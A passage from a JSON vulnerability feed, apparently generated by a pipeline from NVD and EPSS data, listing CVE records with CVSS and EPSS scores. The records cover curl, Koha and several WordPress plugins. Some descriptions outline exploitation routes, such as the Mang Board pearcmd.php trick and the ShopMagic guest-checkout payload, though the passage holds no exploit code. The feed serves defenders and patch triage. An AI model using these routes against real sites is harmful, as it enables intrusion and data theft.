record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-107428&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-107428, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-92392","cveId":"CVE-2026-92392","aliases":[],"kind":"vulnerability","title":"During an upload, curl mishandles HTTP/2 `RST_STREAM` received from the server\n(with reason `HTTP_1_1_REQUIRED` or `REFUSED_STREAM`) leading to a use after\nfree of a `struct...","summary":"During an upload, curl mishandles HTTP/2 `RST_STREAM` received from the server\n(with reason `HTTP_1_1_REQUIRED` or `REFUSED_STREAM`) leading to a use after\nfree of a `struct Curl_easy` object.","detail":"During an upload, curl mishandles HTTP/2 `RST_STREAM` received from the server\n(with reason `HTTP_1_1_REQUIRED` or `REFUSED_STREAM`) leading to a use after\nfree of a `struct Curl_easy` object.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T08:17:05.997Z","updatedAt":"2026-10-18T23:16:57.163Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-92392","asOf":"2026-10-18T23:16:57.163Z"},"epss":{"probability":0.01284,"percentile":0.6991,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-92392&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-92392","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-92392","type":"primary","publishedAt":"2026-10-14T08:17:05.997Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-92392&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-92392, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110284","cveId":"CVE-2026-110284","aliases":[],"kind":"vulnerability","title":"The LifterLMS – WP LMS for eLearning, Online Courses, & Quizzes plugin for WordPress is vulnerable to Local File Inclusion in versions up to, and including, 10.3.1 via...","summary":"The LifterLMS – WP LMS for eLearning, Online Courses, & Quizzes plugin for WordPress is vulnerable to Local File Inclusion in versions up to, and including, 10.3.1 via attacker-controlled attributes of the [lifterlms_checkout] shortcode. This is due to the llms_get_template() helper performing extract() on the shortcode attribute array before resolving the template path, which allows the attacker-supplied 'template_name' and 'default_path' shortcode attributes to overwrite the function's local parameters and ultimately control the path passed to a PHP include. This makes it possible for authenticated attackers, with Instructor-level access and above, to include and execute arbitrary files on the server, that can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where files with safe extensions containing attacker-controlled content can be uploaded and included.","detail":"The LifterLMS – WP LMS for eLearning, Online Courses, & Quizzes plugin for WordPress is vulnerable to Local File Inclusion in versions up to, and including, 10.3.1 via attacker-controlled attributes of the [lifterlms_checkout] shortcode. This is due to the llms_get_template() helper performing extract() on the shortcode attribute array before resolving the template path, which allows the attacker-supplied 'template_name' and 'default_path' shortcode attributes to overwrite the function's local parameters and ultimately control the path passed to a PHP include. This makes it possible for authenticated attackers, with Instructor-level access and above, to include and execute arbitrary files on the server, that can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where files with safe extensions containing attacker-controlled content can be uploaded and included.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T08:17:05.747Z","updatedAt":"2026-10-15T17:17:15.183Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110284","asOf":"2026-10-15T17:17:15.183Z"},"epss":{"probability":0.00671,"percentile":0.51722,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110284&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110284","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110284","type":"primary","publishedAt":"2026-10-14T08:17:05.747Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110284&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110284, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109901","cveId":"CVE-2026-109901","aliases":[],"kind":"vulnerability","title":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Codepeople CP Multi View Event Calendar  cp-multi-view-calendar allows SQL...","summary":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Codepeople CP Multi View Event Calendar  cp-multi-view-calendar allows SQL Injection.This issue affects CP Multi View Event Calendar : from n/a through 1.4.41.","detail":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Codepeople CP Multi View Event Calendar  cp-multi-view-calendar allows SQL Injection.This issue affects CP Multi View Event Calendar : from n/a through 1.4.41.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T08:17:05.193Z","updatedAt":"2026-10-14T16:17:37.707Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109901","asOf":"2026-10-14T16:17:37.707Z"},"epss":{"probability":0.0027,"percentile":0.18953,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109901&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109901","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109901","type":"primary","publishedAt":"2026-10-14T08:17:05.193Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109901&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109901, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-107751","cveId":"CVE-2026-107751","aliases":[],"kind":"vulnerability","title":"The Mang Board plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'user_name' parameter in all versions up to, and including, 2.4.3 due to insufficient...","summary":"The Mang Board plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'user_name' parameter in all versions up to, and including, 2.4.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The save-time sanitizer mbw_htmlspecialchars2() is ineffective against this vector because the exploit payload relies solely on unquoted HTML attribute syntax using only spaces, alphanumerics, and characters such as =, parentheses, and dots — none of which are escaped.","detail":"The Mang Board plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'user_name' parameter in all versions up to, and including, 2.4.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The save-time sanitizer mbw_htmlspecialchars2() is ineffective against this vector because the exploit payload relies solely on unquoted HTML attribute syntax using only spaces, alphanumerics, and characters such as =, parentheses, and dots — none of which are escaped.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T08:17:04.570Z","updatedAt":"2026-10-15T17:17:13.353Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-107751","asOf":"2026-10-15T17:17:13.353Z"},"epss":{"probability":0.00322,"percentile":0.25009,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-107751&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-107751","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107751","type":"primary","publishedAt":"2026-10-14T08:17:04.570Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-107751&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-107751, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-107631","cveId":"CVE-2026-107631","aliases":[],"kind":"vulnerability","title":"The Record of Consent Extension for Complianz plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'uid' parameter in all versions up to, and including, 2.5...","summary":"The Record of Consent Extension for Complianz plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'uid' parameter in all versions up to, and including, 2.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This is possible because the enforcing nonce is emitted via wp_localize_script on wp_enqueue_scripts and is therefore readable by any unauthenticated frontend visitor, and no capability or role check gates the write path.","detail":"The Record of Consent Extension for Complianz plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'uid' parameter in all versions up to, and including, 2.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This is possible because the enforcing nonce is emitted via wp_localize_script on wp_enqueue_scripts and is therefore readable by any unauthenticated frontend visitor, and no capability or role check gates the write path.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T08:17:04.260Z","updatedAt":"2026-10-15T17:17:13.067Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-107631","asOf":"2026-10-15T17:17:13.067Z"},"epss":{"probability":0.00315,"percentile":0.24187,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-107631&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-107631","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107631","type":"primary","publishedAt":"2026-10-14T08:17:04.260Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-107631&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-107631, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105107","cveId":"CVE-2026-105107","aliases":[],"kind":"vulnerability","title":"Koha is vulnerable to SQL injection in the Most-circulated items report.","summary":"Koha is vulnerable to SQL injection in the Most-circulated items report. The reports/cat_issues_top.pl script (sub calculate) concatenates the user-controlled Criteria, Filter, and Limit request parameters directly into dynamic SQL. Criteria is only prefix-normalized and never validated against an allow-list, so it is inserted verbatim into identifier positions (SELECT DISTINCTROW, GROUP BY, ORDER BY, and the main calculation query). Filter values are concatenated raw into single-quoted LIKE, BETWEEN, and comparison fragments. Limit is appended raw to a LIMIT clause. An authenticated staff user with the reports module permission (not requiring superlibrarian) can inject arbitrary SQL and read any table reachable by the Koha database user, including borrowers (userid and bcrypt password hashes, two-factor secrets, personal data), api_keys, and sessions. The issue is fixed in Koha 24.11.19, 25.05.14, 25.11.08, and 26.05.03, and in the 26.11 development branch. This is the unpatched twin of reports/bor_issues_top.pl (CVE-2026-70372).","detail":"Koha is vulnerable to SQL injection in the Most-circulated items report. The reports/cat_issues_top.pl script (sub calculate) concatenates the user-controlled Criteria, Filter, and Limit request parameters directly into dynamic SQL. Criteria is only prefix-normalized and never validated against an allow-list, so it is inserted verbatim into identifier positions (SELECT DISTINCTROW, GROUP BY, ORDER BY, and the main calculation query). Filter values are concatenated raw into single-quoted LIKE, BETWEEN, and comparison fragments. Limit is appended raw to a LIMIT clause. An authenticated staff user with the reports module permission (not requiring superlibrarian) can inject arbitrary SQL and read any table reachable by the Koha database user, including borrowers (userid and bcrypt password hashes, two-factor secrets, personal data), api_keys, and sessions. The issue is fixed in Koha 24.11.19, 25.05.14, 25.11.08, and 26.05.03, and in the 26.11 development branch. This is the unpatched twin of reports/bor_issues_top.pl (CVE-2026-70372).\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T08:17:03.747Z","updatedAt":"2026-10-15T15:53:08.287Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105107","asOf":"2026-10-15T15:53:08.287Z"},"epss":{"probability":0.00279,"percentile":0.20143,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105107&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105107","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105107","type":"primary","publishedAt":"2026-10-14T08:17:03.747Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105107&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105107, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105106","cveId":"CVE-2026-105106","aliases":[],"kind":"vulnerability","title":"Koha is vulnerable to OS command injection in the Task Scheduler deletion path.","summary":"Koha is vulnerable to OS command injection in the Task Scheduler deletion path. The tools/scheduler.pl handler accepts the jobid request parameter for op=cud-delete and passes it to C4::Scheduler::remove_at_job without validating it. Schedule::At::remove substitutes the supplied job ID into an atrm command string without quoting or escaping it and executes the command through a single-argument system() call, which invokes the shell. An authenticated staff user with the tools => schedule_tasks permission can therefore execute arbitrary operating-system commands as the Koha web/application user by supplying shell metacharacters in jobid. The issue is fixed in Koha 24.11.20, 25.05.15, 25.11.09, and 26.05.04, and in the 26.11 development branch.","detail":"Koha is vulnerable to OS command injection in the Task Scheduler deletion path. The tools/scheduler.pl handler accepts the jobid request parameter for op=cud-delete and passes it to C4::Scheduler::remove_at_job without validating it. Schedule::At::remove substitutes the supplied job ID into an atrm command string without quoting or escaping it and executes the command through a single-argument system() call, which invokes the shell. An authenticated staff user with the tools => schedule_tasks permission can therefore execute arbitrary operating-system commands as the Koha web/application user by supplying shell metacharacters in jobid. The issue is fixed in Koha 24.11.20, 25.05.15, 25.11.09, and 26.05.04, and in the 26.11 development branch.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T08:17:03.587Z","updatedAt":"2026-10-15T15:53:08.287Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105106","asOf":"2026-10-15T15:53:08.287Z"},"epss":{"probability":0.0188,"percentile":0.79299,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105106&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105106","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105106","type":"primary","publishedAt":"2026-10-14T08:17:03.587Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105106&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105106, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-104909","cveId":"CVE-2026-104909","aliases":[],"kind":"vulnerability","title":"The Mang Board plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 2.4.3 via the '<mode>_type (e.g.","summary":"The Mang Board plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 2.4.3 via the '<mode>_type (e.g. foo_type)' parameter parameter. This makes it possible for unauthenticated attackers to include and execute arbitrary .php files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where .php file types can be uploaded and included. Exploitation is trivial via an unauthenticated POST to any page rendering a public [mb_board] shortcode, as no nonce or capability check is enforced on the shortcode render path; on servers with a standard PHP installation, pearcmd.php can be leveraged to write and then include an attacker-controlled payload file in a single request.","detail":"The Mang Board plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 2.4.3 via the '<mode>_type (e.g. foo_type)' parameter parameter. This makes it possible for unauthenticated attackers to include and execute arbitrary .php files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where .php file types can be uploaded and included. Exploitation is trivial via an unauthenticated POST to any page rendering a public [mb_board] shortcode, as no nonce or capability check is enforced on the shortcode render path; on servers with a standard PHP installation, pearcmd.php can be leveraged to write and then include an attacker-controlled payload file in a single request.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T08:17:03.443Z","updatedAt":"2026-10-14T18:17:21.807Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-104909","asOf":"2026-10-14T18:17:21.807Z"},"epss":{"probability":0.01007,"percentile":0.6278,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-104909&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-104909","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-104909","type":"primary","publishedAt":"2026-10-14T08:17:03.443Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-104909&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-104909, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-104764","cveId":"CVE-2026-104764","aliases":[],"kind":"vulnerability","title":"The Post Export Import with Media plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 1.17.1 via deserialization of untrusted input .","summary":"The Post Export Import with Media plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 1.17.1 via deserialization of untrusted input . This makes it possible for authenticated attackers, with administrator-level access and above, to inject a PHP Object. No known POP chain is present in the vulnerable software, which means this vulnerability has no impact unless another plugin or theme containing a POP chain is installed on the site. If a POP chain is present via an additional plugin or theme installed on the target system, it may allow the attacker to perform actions like delete arbitrary files, retrieve sensitive data, or execute code depending on the POP chain present.","detail":"The Post Export Import with Media plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 1.17.1 via deserialization of untrusted input . This makes it possible for authenticated attackers, with administrator-level access and above, to inject a PHP Object. No known POP chain is present in the vulnerable software, which means this vulnerability has no impact unless another plugin or theme containing a POP chain is installed on the site. If a POP chain is present via an additional plugin or theme installed on the target system, it may allow the attacker to perform actions like delete arbitrary files, retrieve sensitive data, or execute code depending on the POP chain present.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T08:17:03.297Z","updatedAt":"2026-10-15T17:17:11.680Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-104764","asOf":"2026-10-15T17:17:11.680Z"},"epss":{"probability":0.00625,"percentile":0.49685,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-104764&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-104764","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-104764","type":"primary","publishedAt":"2026-10-14T08:17:03.297Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-104764&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-104764, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103367","cveId":"CVE-2026-103367","aliases":[],"kind":"vulnerability","title":"The ShopMagic – email automation for WordPress plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 4.9.0 via the...","summary":"The ShopMagic – email automation for WordPress plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 4.9.0 via the 'billing_address.first_name' parameter parameter. This makes it possible for unauthenticated attackers to include and execute arbitrary .php files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where .php file types can be uploaded and included. Exploitation requires a published recipe that processes the {{ customer.first_name }} placeholder — the plugin's built-in \"New Order email with social media profile links\" recipe satisfies this requirement out of the box, making the default configuration exploitable with no account, cookie, or nonce by simply submitting a guest checkout with the payload as the billing first name.","detail":"The ShopMagic – email automation for WordPress plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 4.9.0 via the 'billing_address.first_name' parameter parameter. This makes it possible for unauthenticated attackers to include and execute arbitrary .php files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where .php file types can be uploaded and included. Exploitation requires a published recipe that processes the {{ customer.first_name }} placeholder — the plugin's built-in \"New Order email with social media profile links\" recipe satisfies this requirement out of the box, making the default configuration exploitable with no 